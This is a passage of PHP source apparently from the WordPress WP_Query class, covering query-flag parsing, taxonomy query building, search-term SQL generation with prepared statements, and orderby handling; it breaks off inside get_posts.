		} else {
			// Look for archive queries. Dates, categories, authors, search, post type archives.

			if ( isset( $this->query['s'] ) ) {
				$this->is_search = true;
			}

			if ( '' !== $qv['second'] ) {
				$this->is_time = true;
				$this->is_date = true;
			}

			if ( '' !== $qv['minute'] ) {
				$this->is_time = true;
				$this->is_date = true;
			}

			if ( '' !== $qv['hour'] ) {
				$this->is_time = true;
				$this->is_date = true;
			}

			if ( $qv['day'] ) {
				if ( ! $this->is_date ) {
					$date = sprintf( '%04d-%02d-%02d', $qv['year'], $qv['monthnum'], $qv['day'] );
					if ( $qv['monthnum'] && $qv['year'] && ! wp_checkdate( $qv['monthnum'], $qv['day'], $qv['year'], $date ) ) {
						$qv['error'] = '404';
					} else {
						$this->is_day  = true;
						$this->is_date = true;
					}
				}
			}

			if ( $qv['monthnum'] ) {
				if ( ! $this->is_date ) {
					if ( 12 < $qv['monthnum'] ) {
						$qv['error'] = '404';
					} else {
						$this->is_month = true;
						$this->is_date  = true;
					}
				}
			}

			if ( $qv['year'] ) {
				if ( ! $this->is_date ) {
					$this->is_year = true;
					$this->is_date = true;
				}
			}

			if ( $qv['m'] ) {
				$this->is_date = true;
				if ( strlen( $qv['m'] ) > 9 ) {
					$this->is_time = true;
				} elseif ( strlen( $qv['m'] ) > 7 ) {
					$this->is_day = true;
				} elseif ( strlen( $qv['m'] ) > 5 ) {
					$this->is_month = true;
				} else {
					$this->is_year = true;
				}
			}

			if ( $qv['w'] ) {
				$this->is_date = true;
			}

			$this->query_vars_hash = false;
			$this->parse_tax_query( $qv );

			foreach ( $this->tax_query->queries as $tax_query ) {
				if ( ! is_array( $tax_query ) ) {
					continue;
				}

				if ( isset( $tax_query['operator'] ) && 'NOT IN' !== $tax_query['operator'] ) {
					switch ( $tax_query['taxonomy'] ) {
						case 'category':
							$this->is_category = true;
							break;
						case 'post_tag':
							$this->is_tag = true;
							break;
						default:
							$this->is_tax = true;
					}
				}
			}
			unset( $tax_query );

			if ( empty( $qv['author'] ) || ( '0' == $qv['author'] ) ) {
				$this->is_author = false;
			} else {
				$this->is_author = true;
			}

			if ( '' !== $qv['author_name'] ) {
				$this->is_author = true;
			}

			if ( ! empty( $qv['post_type'] ) && ! is_array( $qv['post_type'] ) ) {
				$post_type_obj = get_post_type_object( $qv['post_type'] );
				if ( ! empty( $post_type_obj->has_archive ) ) {
					$this->is_post_type_archive = true;
				}
			}

			if ( $this->is_post_type_archive || $this->is_date || $this->is_author || $this->is_category || $this->is_tag || $this->is_tax ) {
				$this->is_archive = true;
			}
		}

		if ( '' != $qv['feed'] ) {
			$this->is_feed = true;
		}

		if ( '' != $qv['embed'] ) {
			$this->is_embed = true;
		}

		if ( '' != $qv['tb'] ) {
			$this->is_trackback = true;
		}

		if ( '' != $qv['paged'] && ( (int) $qv['paged'] > 1 ) ) {
			$this->is_paged = true;
		}

		// If we're previewing inside the write screen.
		if ( '' != $qv['preview'] ) {
			$this->is_preview = true;
		}

		if ( is_admin() ) {
			$this->is_admin = true;
		}

		if ( str_contains( $qv['feed'], 'comments-' ) ) {
			$qv['feed']         = str_replace( 'comments-', '', $qv['feed'] );
			$qv['withcomments'] = 1;
		}

		$this->is_singular = $this->is_single || $this->is_page || $this->is_attachment;

		if ( $this->is_feed && ( ! empty( $qv['withcomments'] ) || ( empty( $qv['withoutcomments'] ) && $this->is_singular ) ) ) {
			$this->is_comment_feed = true;
		}

		if ( ! ( $this->is_singular || $this->is_archive || $this->is_search || $this->is_feed
				|| ( wp_is_serving_rest_request() && $this->is_main_query() )
				|| $this->is_trackback || $this->is_404 || $this->is_admin || $this->is_robots || $this->is_favicon ) ) {
			$this->is_home = true;
		}

		// Correct `is_*` for 'page_on_front' and 'page_for_posts'.
		if ( $this->is_home && 'page' === get_option( 'show_on_front' ) && get_option( 'page_on_front' ) ) {
			$_query = wp_parse_args( $this->query );
			// 'pagename' can be set and empty depending on matched rewrite rules. Ignore an empty 'pagename'.
			if ( isset( $_query['pagename'] ) && '' === $_query['pagename'] ) {
				unset( $_query['pagename'] );
			}

			unset( $_query['embed'] );

			if ( empty( $_query ) || ! array_diff( array_keys( $_query ), array( 'preview', 'page', 'paged', 'cpage' ) ) ) {
				$this->is_page = true;
				$this->is_home = false;
				$qv['page_id'] = get_option( 'page_on_front' );
				// Correct <!--nextpage--> for 'page_on_front'.
				if ( ! empty( $qv['paged'] ) ) {
					$qv['page'] = $qv['paged'];
					unset( $qv['paged'] );
				}
			}
		}

		if ( '' !== $qv['pagename'] ) {
			$this->queried_object = get_page_by_path( $qv['pagename'] );

			if ( $this->queried_object && 'attachment' === $this->queried_object->post_type ) {
				if ( preg_match( '/^[^%]*%(?:postname)%/', get_option( 'permalink_structure' ) ) ) {
					// See if we also have a post with the same slug.
					$post = get_page_by_path( $qv['pagename'], OBJECT, 'post' );
					if ( $post ) {
						$this->queried_object = $post;
						$this->is_page        = false;
						$this->is_single      = true;
					}
				}
			}

			if ( ! empty( $this->queried_object ) ) {
				$this->queried_object_id = (int) $this->queried_object->ID;
			} else {
				unset( $this->queried_object );
			}

			if ( 'page' === get_option( 'show_on_front' ) && isset( $this->queried_object_id ) && get_option( 'page_for_posts' ) == $this->queried_object_id ) {
				$this->is_page       = false;
				$this->is_home       = true;
				$this->is_posts_page = true;
			}

			if ( isset( $this->queried_object_id ) && get_option( 'wp_page_for_privacy_policy' ) == $this->queried_object_id ) {
				$this->is_privacy_policy = true;
			}
		}

		if ( $qv['page_id'] ) {
			if ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_for_posts' ) == $qv['page_id'] ) {
				$this->is_page       = false;
				$this->is_home       = true;
				$this->is_posts_page = true;
			}

			if ( get_option( 'wp_page_for_privacy_policy' ) == $qv['page_id'] ) {
				$this->is_privacy_policy = true;
			}
		}

		if ( ! empty( $qv['post_type'] ) ) {
			if ( is_array( $qv['post_type'] ) ) {
				$qv['post_type'] = array_map( 'sanitize_key', $qv['post_type'] );
			} else {
				$qv['post_type'] = sanitize_key( $qv['post_type'] );
			}
		}

		if ( ! empty( $qv['post_status'] ) ) {
			if ( is_array( $qv['post_status'] ) ) {
				$qv['post_status'] = array_map( 'sanitize_key', $qv['post_status'] );
			} else {
				$qv['post_status'] = preg_replace( '|[^a-z0-9_,-]|', '', $qv['post_status'] );
			}
		}

		if ( $this->is_posts_page && ( ! isset( $qv['withcomments'] ) || ! $qv['withcomments'] ) ) {
			$this->is_comment_feed = false;
		}

		$this->is_singular = $this->is_single || $this->is_page || $this->is_attachment;
		// Done correcting `is_*` for 'page_on_front' and 'page_for_posts'.

		if ( '404' == $qv['error'] ) {
			$this->set_404();
		}

		$this->is_embed = $this->is_embed && ( $this->is_singular || $this->is_404 );

		$this->query_vars_hash    = md5( serialize( $this->query_vars ) );
		$this->query_vars_changed = false;

		/**
		 * Fires after the main query vars have been parsed.
		 *
		 * @since 1.5.0
		 *
		 * @param WP_Query $query The WP_Query instance (passed by reference).
		 */
		do_action_ref_array( 'parse_query', array( &$this ) );
	}

	/**
	 * Parses various taxonomy related query vars.
	 *
	 * For BC, this method is not marked as protected. See [28987].
	 *
	 * @since 3.1.0
	 *
	 * @param array $q The query variables. Passed by reference.
	 */
	public function parse_tax_query( &$q ) {
		if ( ! empty( $q['tax_query'] ) && is_array( $q['tax_query'] ) ) {
			$tax_query = $q['tax_query'];
		} else {
			$tax_query = array();
		}

		if ( ! empty( $q['taxonomy'] ) && ! empty( $q['term'] ) ) {
			$tax_query[] = array(
				'taxonomy' => $q['taxonomy'],
				'terms'    => array( $q['term'] ),
				'field'    => 'slug',
			);
		}

		foreach ( get_taxonomies( array(), 'objects' ) as $taxonomy => $t ) {
			if ( 'post_tag' === $taxonomy ) {
				continue; // Handled further down in the $q['tag'] block.
			}

			if ( $t->query_var && ! empty( $q[ $t->query_var ] ) ) {
				$tax_query_defaults = array(
					'taxonomy' => $taxonomy,
					'field'    => 'slug',
				);

				if ( ! empty( $t->rewrite['hierarchical'] ) ) {
					$q[ $t->query_var ] = wp_basename( $q[ $t->query_var ] );
				}

				$term = $q[ $t->query_var ];

				if ( is_array( $term ) ) {
					$term = implode( ',', $term );
				}

				if ( str_contains( $term, '+' ) ) {
					$terms = preg_split( '/[+]+/', $term );
					foreach ( $terms as $term ) {
						$tax_query[] = array_merge(
							$tax_query_defaults,
							array(
								'terms' => array( $term ),
							)
						);
					}
				} else {
					$tax_query[] = array_merge(
						$tax_query_defaults,
						array(
							'terms' => preg_split( '/[,]+/', $term ),
						)
					);
				}
			}
		}

		// If query string 'cat' is an array, implode it.
		if ( is_array( $q['cat'] ) ) {
			$q['cat'] = implode( ',', $q['cat'] );
		}

		// Category stuff.

		if ( ! empty( $q['cat'] ) && ! $this->is_singular ) {
			$cat_in     = array();
			$cat_not_in = array();

			$cat_array = preg_split( '/[,\s]+/', urldecode( $q['cat'] ) );
			$cat_array = array_map( 'intval', $cat_array );
			$q['cat']  = implode( ',', $cat_array );

			foreach ( $cat_array as $cat ) {
				if ( $cat > 0 ) {
					$cat_in[] = $cat;
				} elseif ( $cat < 0 ) {
					$cat_not_in[] = abs( $cat );
				}
			}

			if ( ! empty( $cat_in ) ) {
				$tax_query[] = array(
					'taxonomy'         => 'category',
					'terms'            => $cat_in,
					'field'            => 'term_id',
					'include_children' => true,
				);
			}

			if ( ! empty( $cat_not_in ) ) {
				$tax_query[] = array(
					'taxonomy'         => 'category',
					'terms'            => $cat_not_in,
					'field'            => 'term_id',
					'operator'         => 'NOT IN',
					'include_children' => true,
				);
			}
			unset( $cat_array, $cat_in, $cat_not_in );
		}

		if ( ! empty( $q['category__and'] ) && 1 === count( (array) $q['category__and'] ) ) {
			$q['category__and'] = (array) $q['category__and'];
			if ( ! isset( $q['category__in'] ) ) {
				$q['category__in'] = array();
			}
			$q['category__in'][] = absint( reset( $q['category__and'] ) );
			unset( $q['category__and'] );
		}

		if ( ! empty( $q['category__in'] ) ) {
			$q['category__in'] = array_map( 'absint', array_unique( (array) $q['category__in'] ) );
			$tax_query[]       = array(
				'taxonomy'         => 'category',
				'terms'            => $q['category__in'],
				'field'            => 'term_id',
				'include_children' => false,
			);
		}

		if ( ! empty( $q['category__not_in'] ) ) {
			$q['category__not_in'] = array_map( 'absint', array_unique( (array) $q['category__not_in'] ) );
			$tax_query[]           = array(
				'taxonomy'         => 'category',
				'terms'            => $q['category__not_in'],
				'operator'         => 'NOT IN',
				'include_children' => false,
			);
		}

		if ( ! empty( $q['category__and'] ) ) {
			$q['category__and'] = array_map( 'absint', array_unique( (array) $q['category__and'] ) );
			$tax_query[]        = array(
				'taxonomy'         => 'category',
				'terms'            => $q['category__and'],
				'field'            => 'term_id',
				'operator'         => 'AND',
				'include_children' => false,
			);
		}

		// If query string 'tag' is array, implode it.
		if ( is_array( $q['tag'] ) ) {
			$q['tag'] = implode( ',', $q['tag'] );
		}

		// Tag stuff.

		if ( '' !== $q['tag'] && ! $this->is_singular && $this->query_vars_changed ) {
			if ( str_contains( $q['tag'], ',' ) ) {
				$tags = preg_split( '/[,\r\n\t ]+/', $q['tag'] );
				foreach ( (array) $tags as $tag ) {
					$tag                 = sanitize_term_field( 'slug', $tag, 0, 'post_tag', 'db' );
					$q['tag_slug__in'][] = $tag;
				}
			} elseif ( preg_match( '/[+\r\n\t ]+/', $q['tag'] ) || ! empty( $q['cat'] ) ) {
				$tags = preg_split( '/[+\r\n\t ]+/', $q['tag'] );
				foreach ( (array) $tags as $tag ) {
					$tag                  = sanitize_term_field( 'slug', $tag, 0, 'post_tag', 'db' );
					$q['tag_slug__and'][] = $tag;
				}
			} else {
				$q['tag']            = sanitize_term_field( 'slug', $q['tag'], 0, 'post_tag', 'db' );
				$q['tag_slug__in'][] = $q['tag'];
			}
		}

		if ( ! empty( $q['tag_id'] ) ) {
			$q['tag_id'] = absint( $q['tag_id'] );
			$tax_query[] = array(
				'taxonomy' => 'post_tag',
				'terms'    => $q['tag_id'],
			);
		}

		if ( ! empty( $q['tag__in'] ) ) {
			$q['tag__in'] = array_map( 'absint', array_unique( (array) $q['tag__in'] ) );
			$tax_query[]  = array(
				'taxonomy' => 'post_tag',
				'terms'    => $q['tag__in'],
			);
		}

		if ( ! empty( $q['tag__not_in'] ) ) {
			$q['tag__not_in'] = array_map( 'absint', array_unique( (array) $q['tag__not_in'] ) );
			$tax_query[]      = array(
				'taxonomy' => 'post_tag',
				'terms'    => $q['tag__not_in'],
				'operator' => 'NOT IN',
			);
		}

		if ( ! empty( $q['tag__and'] ) ) {
			$q['tag__and'] = array_map( 'absint', array_unique( (array) $q['tag__and'] ) );
			$tax_query[]   = array(
				'taxonomy' => 'post_tag',
				'terms'    => $q['tag__and'],
				'operator' => 'AND',
			);
		}

		if ( ! empty( $q['tag_slug__in'] ) ) {
			$q['tag_slug__in'] = array_map( 'sanitize_title_for_query', array_unique( (array) $q['tag_slug__in'] ) );
			$tax_query[]       = array(
				'taxonomy' => 'post_tag',
				'terms'    => $q['tag_slug__in'],
				'field'    => 'slug',
			);
		}

		if ( ! empty( $q['tag_slug__and'] ) ) {
			$q['tag_slug__and'] = array_map( 'sanitize_title_for_query', array_unique( (array) $q['tag_slug__and'] ) );
			$tax_query[]        = array(
				'taxonomy' => 'post_tag',
				'terms'    => $q['tag_slug__and'],
				'field'    => 'slug',
				'operator' => 'AND',
			);
		}

		$this->tax_query = new WP_Tax_Query( $tax_query );

		/**
		 * Fires after taxonomy-related query vars have been parsed.
		 *
		 * @since 3.7.0
		 *
		 * @param WP_Query $query The WP_Query instance.
		 */
		do_action( 'parse_tax_query', $this );
	}

	/**
	 * Generates SQL for the WHERE clause based on passed search terms.
	 *
	 * @since 3.7.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param array $q Query variables.
	 * @return string WHERE clause.
	 */
	protected function parse_search( &$q ) {
		global $wpdb;

		$search = '';

		// Added slashes screw with quote grouping when done early, so done later.
		$q['s'] = stripslashes( $q['s'] );
		if ( empty( $_GET['s'] ) && $this->is_main_query() ) {
			$q['s'] = urldecode( $q['s'] );
		}
		// There are no line breaks in <input /> fields.
		$q['s']                  = str_replace( array( "\r", "\n" ), '', $q['s'] );
		$q['search_terms_count'] = 1;
		if ( ! empty( $q['sentence'] ) ) {
			$q['search_terms'] = array( $q['s'] );
		} else {
			if ( preg_match_all( '/".*?("|$)|((?<=[\t ",+])|^)[^\t ",+]+/', $q['s'], $matches ) ) {
				$q['search_terms_count'] = count( $matches[0] );
				$q['search_terms']       = $this->parse_search_terms( $matches[0] );
				// If the search string has only short terms or stopwords, or is 10+ terms long, match it as sentence.
				if ( empty( $q['search_terms'] ) || count( $q['search_terms'] ) > 9 ) {
					$q['search_terms'] = array( $q['s'] );
				}
			} else {
				$q['search_terms'] = array( $q['s'] );
			}
		}

		$n                         = ! empty( $q['exact'] ) ? '' : '%';
		$searchand                 = '';
		$q['search_orderby_title'] = array();

		$default_search_columns = array( 'post_title', 'post_excerpt', 'post_content' );
		$search_columns         = ! empty( $q['search_columns'] ) ? $q['search_columns'] : $default_search_columns;
		if ( ! is_array( $search_columns ) ) {
			$search_columns = array( $search_columns );
		}

		/**
		 * Filters the columns to search in a WP_Query search.
		 *
		 * The supported columns are `post_title`, `post_excerpt` and `post_content`.
		 * They are all included by default.
		 *
		 * @since 6.2.0
		 *
		 * @param string[] $search_columns Array of column names to be searched.
		 * @param string   $search         Text being searched.
		 * @param WP_Query $query          The current WP_Query instance.
		 */
		$search_columns = (array) apply_filters( 'post_search_columns', $search_columns, $q['s'], $this );

		// Use only supported search columns.
		$search_columns = array_intersect( $search_columns, $default_search_columns );
		if ( empty( $search_columns ) ) {
			$search_columns = $default_search_columns;
		}

		/**
		 * Filters the prefix that indicates that a search term should be excluded from results.
		 *
		 * @since 4.7.0
		 *
		 * @param string $exclusion_prefix The prefix. Default '-'. Returning
		 *                                 an empty value disables exclusions.
		 */
		$exclusion_prefix = apply_filters( 'wp_query_search_exclusion_prefix', '-' );

		foreach ( $q['search_terms'] as $term ) {
			// If there is an $exclusion_prefix, terms prefixed with it should be excluded.
			$exclude = $exclusion_prefix && str_starts_with( $term, $exclusion_prefix );
			if ( $exclude ) {
				$like_op  = 'NOT LIKE';
				$andor_op = 'AND';
				$term     = substr( $term, 1 );
			} else {
				$like_op  = 'LIKE';
				$andor_op = 'OR';
			}

			if ( $n && ! $exclude ) {
				$like                        = '%' . $wpdb->esc_like( $term ) . '%';
				$q['search_orderby_title'][] = $wpdb->prepare( "{$wpdb->posts}.post_title LIKE %s", $like );
			}

			$like = $n . $wpdb->esc_like( $term ) . $n;

			$search_columns_parts = array();
			foreach ( $search_columns as $search_column ) {
				$search_columns_parts[ $search_column ] = $wpdb->prepare( "({$wpdb->posts}.$search_column $like_op %s)", $like );
			}

			if ( ! empty( $this->allow_query_attachment_by_filename ) ) {
				$search_columns_parts['attachment'] = $wpdb->prepare( "(sq1.meta_value $like_op %s)", $like );
			}

			$search .= "$searchand(" . implode( " $andor_op ", $search_columns_parts ) . ')';

			$searchand = ' AND ';
		}

		if ( ! empty( $search ) ) {
			$search = " AND ({$search}) ";
			if ( ! is_user_logged_in() ) {
				$search .= " AND ({$wpdb->posts}.post_password = '') ";
			}
		}

		return $search;
	}

	/**
	 * Checks if the terms are suitable for searching.
	 *
	 * Uses an array of stopwords (terms) that are excluded from the separate
	 * term matching when searching for posts. The list of English stopwords is
	 * the approximate search engines list, and is translatable.
	 *
	 * @since 3.7.0
	 *
	 * @param string[] $terms Array of terms to check.
	 * @return string[] Terms that are not stopwords.
	 */
	protected function parse_search_terms( $terms ) {
		$strtolower = function_exists( 'mb_strtolower' ) ? 'mb_strtolower' : 'strtolower';
		$checked    = array();

		$stopwords = $this->get_search_stopwords();

		foreach ( $terms as $term ) {
			// Keep before/after spaces when term is for exact match.
			if ( preg_match( '/^".+"$/', $term ) ) {
				$term = trim( $term, "\"'" );
			} else {
				$term = trim( $term, "\"' " );
			}

			// Avoid single A-Z and single dashes.
			if ( ! $term || ( 1 === strlen( $term ) && preg_match( '/^[a-z\-]$/i', $term ) ) ) {
				continue;
			}

			if ( in_array( call_user_func( $strtolower, $term ), $stopwords, true ) ) {
				continue;
			}

			$checked[] = $term;
		}

		return $checked;
	}

	/**
	 * Retrieves stopwords used when parsing search terms.
	 *
	 * @since 3.7.0
	 *
	 * @return string[] Stopwords.
	 */
	protected function get_search_stopwords() {
		if ( isset( $this->stopwords ) ) {
			return $this->stopwords;
		}

		/*
		 * translators: This is a comma-separated list of very common words that should be excluded from a search,
		 * like a, an, and the. These are usually called "stopwords". You should not simply translate these individual
		 * words into your language. Instead, look for and provide commonly accepted stopwords in your language.
		 */
		$words = explode(
			',',
			_x(
				'about,an,are,as,at,be,by,com,for,from,how,in,is,it,of,on,or,that,the,this,to,was,what,when,where,who,will,with,www',
				'Comma-separated list of search stopwords in your language'
			)
		);

		$stopwords = array();
		foreach ( $words as $word ) {
			$word = trim( $word, "\r\n\t " );
			if ( $word ) {
				$stopwords[] = $word;
			}
		}

		/**
		 * Filters stopwords used when parsing search terms.
		 *
		 * @since 3.7.0
		 *
		 * @param string[] $stopwords Array of stopwords.
		 */
		$this->stopwords = apply_filters( 'wp_search_stopwords', $stopwords );
		return $this->stopwords;
	}

	/**
	 * Generates SQL for the ORDER BY condition based on passed search terms.
	 *
	 * @since 3.7.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param array $q Query variables.
	 * @return string ORDER BY clause.
	 */
	protected function parse_search_order( &$q ) {
		global $wpdb;

		if ( $q['search_terms_count'] > 1 ) {
			$num_terms = count( $q['search_orderby_title'] );

			// If the search terms contain negative queries, don't bother ordering by sentence matches.
			$like = '';
			if ( ! preg_match( '/(?:\s|^)\-/', $q['s'] ) ) {
				$like = '%' . $wpdb->esc_like( $q['s'] ) . '%';
			}

			$search_orderby = '';

			// Sentence match in 'post_title'.
			if ( $like ) {
				$search_orderby .= $wpdb->prepare( "WHEN {$wpdb->posts}.post_title LIKE %s THEN 1 ", $like );
			}

			/*
			 * Sanity limit, sort as sentence when more than 6 terms
			 * (few searches are longer than 6 terms and most titles are not).
			 */
			if ( $num_terms < 7 ) {
				// All words in title.
				$search_orderby .= 'WHEN ' . implode( ' AND ', $q['search_orderby_title'] ) . ' THEN 2 ';
				// Any word in title, not needed when $num_terms == 1.
				if ( $num_terms > 1 ) {
					$search_orderby .= 'WHEN ' . implode( ' OR ', $q['search_orderby_title'] ) . ' THEN 3 ';
				}
			}

			// Sentence match in 'post_content' and 'post_excerpt'.
			if ( $like ) {
				$search_orderby .= $wpdb->prepare( "WHEN {$wpdb->posts}.post_excerpt LIKE %s THEN 4 ", $like );
				$search_orderby .= $wpdb->prepare( "WHEN {$wpdb->posts}.post_content LIKE %s THEN 5 ", $like );
			}

			if ( $search_orderby ) {
				$search_orderby = '(CASE ' . $search_orderby . 'ELSE 6 END)';
			}
		} else {
			// Single word or sentence search.
			$search_orderby = reset( $q['search_orderby_title'] ) . ' DESC';
		}

		return $search_orderby;
	}

	/**
	 * Converts the given orderby alias (if allowed) to a properly-prefixed value.
	 *
	 * @since 4.0.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $orderby Alias for the field to order by.
	 * @return string|false Table-prefixed value to used in the ORDER clause. False otherwise.
	 */
	protected function parse_orderby( $orderby ) {
		global $wpdb;

		// Used to filter values.
		$allowed_keys = array(
			'post_name',
			'post_author',
			'post_date',
			'post_title',
			'post_modified',
			'post_parent',
			'post_type',
			'name',
			'author',
			'date',
			'title',
			'modified',
			'parent',
			'type',
			'ID',
			'menu_order',
			'comment_count',
			'rand',
			'post__in',
			'post_parent__in',
			'post_name__in',
		);

		$primary_meta_key   = '';
		$primary_meta_query = false;
		$meta_clauses       = $this->meta_query->get_clauses();
		if ( ! empty( $meta_clauses ) ) {
			$primary_meta_query = reset( $meta_clauses );

			if ( ! empty( $primary_meta_query['key'] ) ) {
				$primary_meta_key = $primary_meta_query['key'];
				$allowed_keys[]   = $primary_meta_key;
			}

			$allowed_keys[] = 'meta_value';
			$allowed_keys[] = 'meta_value_num';
			$allowed_keys   = array_merge( $allowed_keys, array_keys( $meta_clauses ) );
		}

		// If RAND() contains a seed value, sanitize and add to allowed keys.
		$rand_with_seed = false;
		if ( preg_match( '/RAND\(([0-9]+)\)/i', $orderby, $matches ) ) {
			$orderby        = sprintf( 'RAND(%s)', (int) $matches[1] );
			$allowed_keys[] = $orderby;
			$rand_with_seed = true;
		}

		if ( ! in_array( $orderby, $allowed_keys, true ) ) {
			return false;
		}

		$orderby_clause = '';

		switch ( $orderby ) {
			case 'post_name':
			case 'post_author':
			case 'post_date':
			case 'post_title':
			case 'post_modified':
			case 'post_parent':
			case 'post_type':
			case 'ID':
			case 'menu_order':
			case 'comment_count':
				$orderby_clause = "{$wpdb->posts}.{$orderby}";
				break;
			case 'rand':
				$orderby_clause = 'RAND()';
				break;
			case $primary_meta_key:
			case 'meta_value':
				if ( ! empty( $primary_meta_query['type'] ) ) {
					$orderby_clause = "CAST({$primary_meta_query['alias']}.meta_value AS {$primary_meta_query['cast']})";
				} else {
					$orderby_clause = "{$primary_meta_query['alias']}.meta_value";
				}
				break;
			case 'meta_value_num':
				$orderby_clause = "{$primary_meta_query['alias']}.meta_value+0";
				break;
			case 'post__in':
				if ( ! empty( $this->query_vars['post__in'] ) ) {
					$orderby_clause = "FIELD({$wpdb->posts}.ID," . implode( ',', array_map( 'absint', $this->query_vars['post__in'] ) ) . ')';
				}
				break;
			case 'post_parent__in':
				if ( ! empty( $this->query_vars['post_parent__in'] ) ) {
					$orderby_clause = "FIELD( {$wpdb->posts}.post_parent," . implode( ', ', array_map( 'absint', $this->query_vars['post_parent__in'] ) ) . ' )';
				}
				break;
			case 'post_name__in':
				if ( ! empty( $this->query_vars['post_name__in'] ) ) {
					$post_name__in        = array_map( 'sanitize_title_for_query', $this->query_vars['post_name__in'] );
					$post_name__in_string = "'" . implode( "','", $post_name__in ) . "'";
					$orderby_clause       = "FIELD( {$wpdb->posts}.post_name," . $post_name__in_string . ' )';
				}
				break;
			default:
				if ( array_key_exists( $orderby, $meta_clauses ) ) {
					// $orderby corresponds to a meta_query clause.
					$meta_clause    = $meta_clauses[ $orderby ];
					$orderby_clause = "CAST({$meta_clause['alias']}.meta_value AS {$meta_clause['cast']})";
				} elseif ( $rand_with_seed ) {
					$orderby_clause = $orderby;
				} else {
					// Default: order by post field.
					$orderby_clause = "{$wpdb->posts}.post_" . sanitize_key( $orderby );
				}

				break;
		}

		return $orderby_clause;
	}

	/**
	 * Parse an 'order' query variable and cast it to ASC or DESC as necessary.
	 *
	 * @since 4.0.0
	 *
	 * @param string $order The 'order' query variable.
	 * @return string The sanitized 'order' query variable.
	 */
	protected function parse_order( $order ) {
		if ( ! is_string( $order ) || empty( $order ) ) {
			return 'DESC';
		}

		if ( 'ASC' === strtoupper( $order ) ) {
			return 'ASC';
		} else {
			return 'DESC';
		}
	}

	/**
	 * Sets the 404 property and saves whether query is feed.
	 *
	 * @since 2.0.0
	 */
	public function set_404() {
		$is_feed = $this->is_feed;

		$this->init_query_flags();
		$this->is_404 = true;

		$this->is_feed = $is_feed;

		/**
		 * Fires after a 404 is triggered.
		 *
		 * @since 5.5.0
		 *
		 * @param WP_Query $query The WP_Query instance (passed by reference).
		 */
		do_action_ref_array( 'set_404', array( $this ) );
	}

	/**
	 * Retrieves the value of a query variable.
	 *
	 * @since 1.5.0
	 * @since 3.9.0 The `$default_value` argument was introduced.
	 *
	 * @param string $query_var     Query variable key.
	 * @param mixed  $default_value Optional. Value to return if the query variable is not set.
	 *                              Default empty string.
	 * @return mixed Contents of the query variable.
	 */
	public function get( $query_var, $default_value = '' ) {
		if ( isset( $this->query_vars[ $query_var ] ) ) {
			return $this->query_vars[ $query_var ];
		}

		return $default_value;
	}

	/**
	 * Sets the value of a query variable.
	 *
	 * @since 1.5.0
	 *
	 * @param string $query_var Query variable key.
	 * @param mixed  $value     Query variable value.
	 */
	public function set( $query_var, $value ) {
		$this->query_vars[ $query_var ] = $value;
	}

	/**
	 * Retrieves an array of posts based on query variables.
	 *
	 * There are a few filters and actions that can be used to modify the post
	 * database query.
	 *
	 * @since 1.5.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return WP_Post[]|int[] Array of post objects or post IDs.
	 */
	public function get_posts() {
		global $wpdb;

		$this->parse_query();

		/**
		 * Fires after the query variable object is created, but before the actual query is run.
		 *
		 * Note: If using conditional tags, use the method versions within the passed instance
		 * (e.g. $this->is_main_query() instead of is_main_query()). This is because the functions
		 * like is_main_query() test against the global $wp_query instance, not the passed one.
		 *
		 * @since 2.0.0
		 *
		 * @param WP_Query $query The WP_Query instance (passed by reference).
		 */
		do_action_ref_array( 'pre_get_posts', array( &$this ) );

		// Shorthand.
		$q = &$this->query_vars;

		// Fill again in case 'pre_get_posts' unset some vars.
		$q = $this->fill_query_vars( $q );

		/**
		 * Filters whether an attachment query should include filenames or not.
		 *
		 * @since 6.0.3
		 *
		 * @param bool $allow_query_attachment_by_filename Whether or not to include filenames.
		 */
		$this->allow_query_attachment_by_filename = apply_filters( 'wp_allow_query_attachment_by_filename', false );
		remove_all_filters( 'wp_allow_query_attachment_by_filename' );

		// Parse meta query.
		$this->meta_query = new WP_Meta_Query();
		$this->meta_query->parse_query_vars( $q );

		// Set a flag if a 'pre_get_posts' hook changed the query vars.
		$hash = md5( serialize( $this->query_vars ) );
		if ( $hash != $this->query_vars_hash ) {
			$this->query_vars_changed = true;
			$this->query_vars_hash    = $hash;
		}
		unset( $hash );

		// First let's clear some variables.
		$distinct         = '';
		$whichauthor      = '';
		$whichmimetype    = '';
		$where            = '';
		$limits           = '';
		$join             = '';
		$search           = '';
		$groupby          = '';
		$post_status_join = false;
		$page             = 1;

		if ( isset( $q['caller_get_posts'] ) ) {
			_deprecated_argument(
				'WP_Query',
				'3.1.0',
				sprintf(
					/* translators: 1: caller_get_posts, 2: ignore_sticky_posts */
					__( '%1$s is deprecated. Use %2$s instead.' ),
					'<code>caller_get_posts</code>',
					'<code>ignore_sticky_posts</code>'
				)
			);

			if ( ! isset( $q['ignore_sticky_posts'] ) ) {
				$q['ignore_sticky_posts'] = $q['caller_get_posts'];
			}
		}

		if ( ! isset( $q['ignore_sticky_posts'] ) ) {
			$q['ignore_sticky_posts'] = false;
		}

		if ( ! isset( $q['suppress_filters'] ) ) {
			$q['suppress_filters'] = false;
		}

		if ( ! isset( $q['cache_results'] ) ) {
			$q['cache_results'] = true;
		}

		if ( ! isset( $q['update_post_term_cache'] ) ) {
			$q['update_post_term_cache'] = true;
		}

		if ( ! isset( $q['update_menu_item_cache'] ) ) {
			$q['update_menu_item_cache'] = false;
		}

		if ( ! isset( $q['lazy_load_term_meta'] ) ) {
			$q['lazy_load_term_meta'] = $q['update_post_term_cache'];
		} elseif ( $q['lazy_load_term_meta'] ) { // Lazy loading term meta only works if term caches are primed.
			$q['update_post_term_cache'] = true;
		}

		if ( ! isset( $q['update_post_meta_cache'] ) ) {
			$q['update_post_meta_cache'] = true;
		}

		if ( ! isset( $q['post_type'] ) ) {
			if ( $this->is_search ) {
				$q['post_type'] = 'any';
			} else {
				$q['post_type'] = '';
			}
		}
		$post_type = $q['post_type'];
		if ( empty( $q['posts_per_page'] ) ) {
			$q['posts_per_page'] = get_option( 'posts_per_page' );
		}
		if ( isset( $q['showposts'] ) && $q['showposts'] ) {
			$q['showposts']      = (int) $q['showposts'];
			$q['posts_per_page'] = $q['showposts'];
		}
		if ( ( isset( $q['posts_per_archive_page'] ) && 0 != $q['posts_per_archive_page'] ) && ( $this->is_archive || $this->is_search ) ) {
